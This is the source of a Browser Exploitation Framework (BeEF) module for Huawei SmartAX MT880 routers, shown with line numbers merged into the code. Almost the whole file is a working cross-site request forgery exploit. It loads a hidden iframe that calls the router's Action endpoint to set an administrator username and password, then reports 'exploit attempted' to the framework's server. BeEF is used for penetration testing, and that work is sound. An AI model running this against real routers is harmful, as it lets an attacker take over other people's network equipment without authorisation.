Path: blob/master/modules/exploits/router/huawei_smartax_mt880/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {7var gateway = '<%= @base %>';8var username = '<%= @username %>';9var passwd = '<%= @password %>';10var timeout = 15;1112var huawei_smartax_mt880_iframe_<%= @command_id %> = beef.dom.createInvisibleIframe();13huawei_smartax_mt880_iframe_<%= @command_id %>.setAttribute('src', gateway+"Action?user_id="+username+"&priv=1&pass1="+passwd+"&pass2="+passwd+"&id=70");1415beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");1617cleanup = function() {18document.body.removeChild(huawei_smartax_mt880_iframe_<%= @command_id %>);19}20setTimeout("cleanup()", timeout*1000);2122});23242526